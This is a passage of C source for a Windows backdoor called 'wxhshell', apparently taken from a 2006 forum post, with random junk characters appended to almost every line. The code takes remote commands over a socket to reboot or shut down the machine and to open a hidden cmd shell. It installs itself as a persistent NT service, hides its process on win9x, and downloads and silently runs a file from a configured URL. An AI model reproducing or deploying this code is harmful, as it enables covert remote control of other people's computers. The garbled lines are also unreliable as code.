  // 帮助 /qXzOd  
  case '?': { z2~87fv+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -tyaE  
    break; Ja [#[BJ?  
  } 6b#~;  
  // 安装 s<VJ`Ur  
  case 'i': { oHsP?%U  
    if(Install()) G_(ct5:_"!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @C_ =*  
    else 2sun=3qb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4Py3I9  
    break; D|TR!  
    } b1)\Zi  
  // 卸载 veO?k.u(  
  case 'r': { 7d9Z/J@>  
    if(Uninstall()) (hsZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]]y[t|6  
    else E9R]sXf8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6t$N78U  
    break; uO"8aD`W  
    } e~ BJvZ}Q  
  // 显示 wxhshell 所在路径  mn`5pha  
  case 'p': { y5%5O xB  
    char svExeFile[MAX_PATH]; m1y `v"  
    strcpy(svExeFile,"\n\r"); +{*)}[w{x  
      strcat(svExeFile,ExeFile); qc&jd  
        send(wsh,svExeFile,strlen(svExeFile),0); 4if\5P:j  
    break; nx$bM(.  
    } ?Cc :)  
  // 重启 3):?ZCw7y  
  case 'b': { +7Rt{C,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -XW8 LaQB  
    if(Boot(REBOOT)) W5X7FEW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6sy,A~e  
    else { .hne)K%={y  
    closesocket(wsh); hgwn> p:S#  
    ExitThread(0); oG\>--  
    } K0 QH?F  
    break; +.K*n&  
    } %I}'Vb{C  
  // 关机 >#?iO]).  
  case 'd': { Om6Mmoqh  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); niAZ$w  
    if(Boot(SHUTDOWN)) WKOI\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8})|^%@n  
    else { tWX7dspx/  
    closesocket(wsh); wPQ&Di*X}  
    ExitThread(0); >uW^.e "F  
    } -#OwJ*-U  
    break; b=G4MZQ  
    } Yx 3|G  
  // 获取shell /N%zwj/*  
  case 's': { g/B\ObY  
    CmdShell(wsh); v^\JWPR/  
    closesocket(wsh); DZ2Fl>7  
    ExitThread(0); f-&ATTx`J  
    break; t)!V +Qcb  
  } 4znH$M>bU  
  // 退出 C$_G'XI  
  case 'x': { 8=pv/o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A$ J9U3+O  
    CloseIt(wsh); p9Z ].5Pd"  
    break; BjB&[5?z  
    } "]<w x_!+}  
  // 离开 6+ ?wnp-  
  case 'q': { G ~A$jStm  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }pK v.  
    closesocket(wsh); Q!`)e@r  
    WSACleanup(); iel-<(~   
    exit(1); 6N?#b66  
    break; 1y~L8!: L  
        } y,V6h*x2  
  } uct=i1+ fE  
  } y]7%$* <  
jQ)L pjS1  
  // 提示信息 U Q)!|@&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R~$hWu}}  
} &M$Bt} <  
  } L7<+LA)s0  
e|JIrOnc  
  return; _tA7=*@8  
} %6N)G!P  
[0wP\{%  
// shell模块句柄 dD o6fP2  
int CmdShell(SOCKET sock) i`R(7Z  
{ ^K"ZJ6?+1  
STARTUPINFO si; :q(D(mK  
ZeroMemory(&si,sizeof(si)); Ca X^)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'V1!&Q6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %pH)paRAP  
PROCESS_INFORMATION ProcessInfo; lS#7x h  
char cmdline[]="cmd"; 3`x sK[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3Fgz)*Gu]  
  return 0; )U]:9)   
} qg|Ox*_od"  
[A|(A$jl  
// 自身启动模式 4`$5 _} j!  
int StartFromService(void) 4Q@\h=r  
{ b'&LBT7  
typedef struct nT#37v  
{ `|&\e_"DE  
  DWORD ExitStatus; s:3aRQ%  
  DWORD PebBaseAddress; g%ZdIKj!  
  DWORD AffinityMask; k&yQ98H$K"  
  DWORD BasePriority; UmYD]  
  ULONG UniqueProcessId; 1E8$% 6VV  
  ULONG InheritedFromUniqueProcessId; uL bp.N8  
}   PROCESS_BASIC_INFORMATION; (VfwLo>#  
u2 Y N[|V  
PROCNTQSIP NtQueryInformationProcess; re]%f"v:5  
Ndo}Tk!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J_|7$ l/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4C6=77Jr  
=Y/}b\9`T  
  HANDLE             hProcess; q)NXyy4BT  
  PROCESS_BASIC_INFORMATION pbi; DQ%`v =  
ZTr:xX{R6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Wa(W&]  
  if(NULL == hInst ) return 0; c$.UE  
9z+vFk`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0,:iE\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $|rCrak;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [+y &HNf  
h] <GTWj  
  if (!NtQueryInformationProcess) return 0; _cR6ik zW(  
NS h%t+XU]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?0 HR(N(z!  
  if(!hProcess) return 0; P a3{Ds  
I+*osk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B^H4Q 4-  
j'\>Nn+  
  CloseHandle(hProcess); >y]?MGk  
(qJIu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C(f$!~M4b  
if(hProcess==NULL) return 0; wj}=@HS,3!  
]gH wfqx  
HMODULE hMod; #c6ui0E%;t  
char procName[255]; o^8*aH)I>Y  
unsigned long cbNeeded; Vp|2wlFE-  
2r %>]y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Lc58lV=  
r5D jCV"  
  CloseHandle(hProcess); 7ESN!  
-FQC9~rR;g  
if(strstr(procName,"services")) return 1; // 以服务启动 -b].SG5S  
g7 .7E6%H  
  return 0; // 注册表启动 )C'G2RV  
} UAnB=L,.\  
F~tm`n8Z  
// 主模块 n;e."^5  
int StartWxhshell(LPSTR lpCmdLine) ) ~ l\  
{ t8L<x  
  SOCKET wsl; }9{dR4hD  
BOOL val=TRUE; !x`;>0  
  int port=0; 29&sydu  
  struct sockaddr_in door; D."cQ<sxpN  
D-'i G%)kA  
  if(wscfg.ws_autoins) Install(); Hlz'a1\:O]  
}rO?5  
port=atoi(lpCmdLine); RpBiE8F4  
$ \? N<W  
if(port<=0) port=wscfg.ws_port; i58ZV`Rk`  
it(LphB8  
  WSADATA data; \pjRv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <m?GJuQ'  
5}vRo;-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   EJ WOXxU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s-QM 6*  
  door.sin_family = AF_INET; ^L>MZA ?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *ge].E  
  door.sin_port = htons(port); '"!z$i~G=  
AZh@t?)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <_##YSGh,  
closesocket(wsl); AyQS4A.s[  
return 1; +)/Rql(lY  
} h Jfa_  
\>*MMe  
  if(listen(wsl,2) == INVALID_SOCKET) { jF%)Bhn(  
closesocket(wsl); Nrab*K(][  
return 1; &"U9X"8b  
} ib5;f0Qa  
  Wxhshell(wsl); 8m#}S\m  
  WSACleanup(); *u|lmALs  
DFt=%aV[  
return 0; {] t\`fjrg  
,!o\),N  
} t9Enk!@  
'1>g=Ic0  
// 以NT服务方式启动 Tf&f`/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9f\aoVX  
{ { ()p%#*  
DWORD   status = 0; 9 _M H  
  DWORD   specificError = 0xfffffff; 8ktjDs$=.:  
u)q2YLK8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Uv @!i0W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g|&.v2 '  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ze$^UR  
  serviceStatus.dwWin32ExitCode     = 0; otmIu`h  
  serviceStatus.dwServiceSpecificExitCode = 0; hj^G} 4  
  serviceStatus.dwCheckPoint       = 0; wQo6!H "K  
  serviceStatus.dwWaitHint       = 0; B-y0;0  
+z]:CF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !(MA5L-  
  if (hServiceStatusHandle==0) return; 8{}Pj  
w>NZRP_3  
status = GetLastError(); \N# HPrv}  
  if (status!=NO_ERROR) H{ n>KZ]\  
{ p=8M0k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (uuEjM$3%  
    serviceStatus.dwCheckPoint       = 0; r+{!@`dYi  
    serviceStatus.dwWaitHint       = 0; UA69_E{JCH  
    serviceStatus.dwWin32ExitCode     = status; .G5NGB  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?MV[=LPL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n}AR/3}  
    return; ~.PPf/ Z8]  
  } %8Z|/LGg  
4*N@=v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *@bg/S K%  
  serviceStatus.dwCheckPoint       = 0; u):%5F/  
  serviceStatus.dwWaitHint       = 0; 2-"Lxe65f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^G'yaaLXR  
} qHC*$v#.V?  
<eud#v  
// 处理NT服务事件,比如:启动、停止 I&'S2=s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ??$i*  
{ )9A<fwpN  
switch(fdwControl) .v #0cQX+.  
{ ]zhq.O >2{  
case SERVICE_CONTROL_STOP: 4t +/  
  serviceStatus.dwWin32ExitCode = 0; n3HCd- z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M@!]U:5~V  
  serviceStatus.dwCheckPoint   = 0; &dZ.+#8r  
  serviceStatus.dwWaitHint     = 0; vjs|!O=oH  
  { QN2*]+/h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;H m-,W  
  } VuO)  
  return; $ sA~p_]  
case SERVICE_CONTROL_PAUSE: xvdnEaWe$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; NR;S3-Iq(  
  break; W{$+mow7S  
case SERVICE_CONTROL_CONTINUE: 43}&w.AS  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; NSiYUAu g  
  break; bY"eC i{K  
case SERVICE_CONTROL_INTERROGATE: -Iruua7b  
  break; 1v[#::Bs  
}; 9|G=KN)P:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ys.!S.k+  
} ?Qo_ KQ%sn  
',J%Mv>Yf  
// 标准应用程序主函数 m|#(gX|F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5EV8zf  
{ d9[6kQ]  
2\z`G  
// 获取操作系统版本 W"}*Q -8W  
OsIsNt=GetOsVer(); bb O;AiHD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gKm~cjCB`~  
g*w-"%"O  
  // 从命令行安装 6Ymo%OT  
  if(strpbrk(lpCmdLine,"iI")) Install(); UQji7K }  
cVP49r}}v  
  // 下载执行文件 qI V`zZc  
if(wscfg.ws_downexe) { ]uj.uWD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C(%5,|6  
  WinExec(wscfg.ws_filenam,SW_HIDE); /bNVgK`L5  
} k>z-Zg  
i_ODgc`H  
if(!OsIsNt) { ["#A-S  
// 如果时win9x,隐藏进程并且设置为注册表启动 Med"dHo7  
HideProc(); Nh7!Ah  
StartWxhshell(lpCmdLine); H{tOCYyD  
} 7N~qg 7&  
else KJvJUq  
  if(StartFromService()) dXK~ Z:  
  // 以服务方式启动 n`I jG  
  StartServiceCtrlDispatcher(DispatchTable); n5,Pq+[  
else S>ylAU;N  
  // 普通方式启动 YT 03>!B  
  StartWxhshell(lpCmdLine); ?=@Q12R)X  
}HQT@&=  
return 0; $d??(   
}
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只看该作者 1 发表于: 2006-10-10
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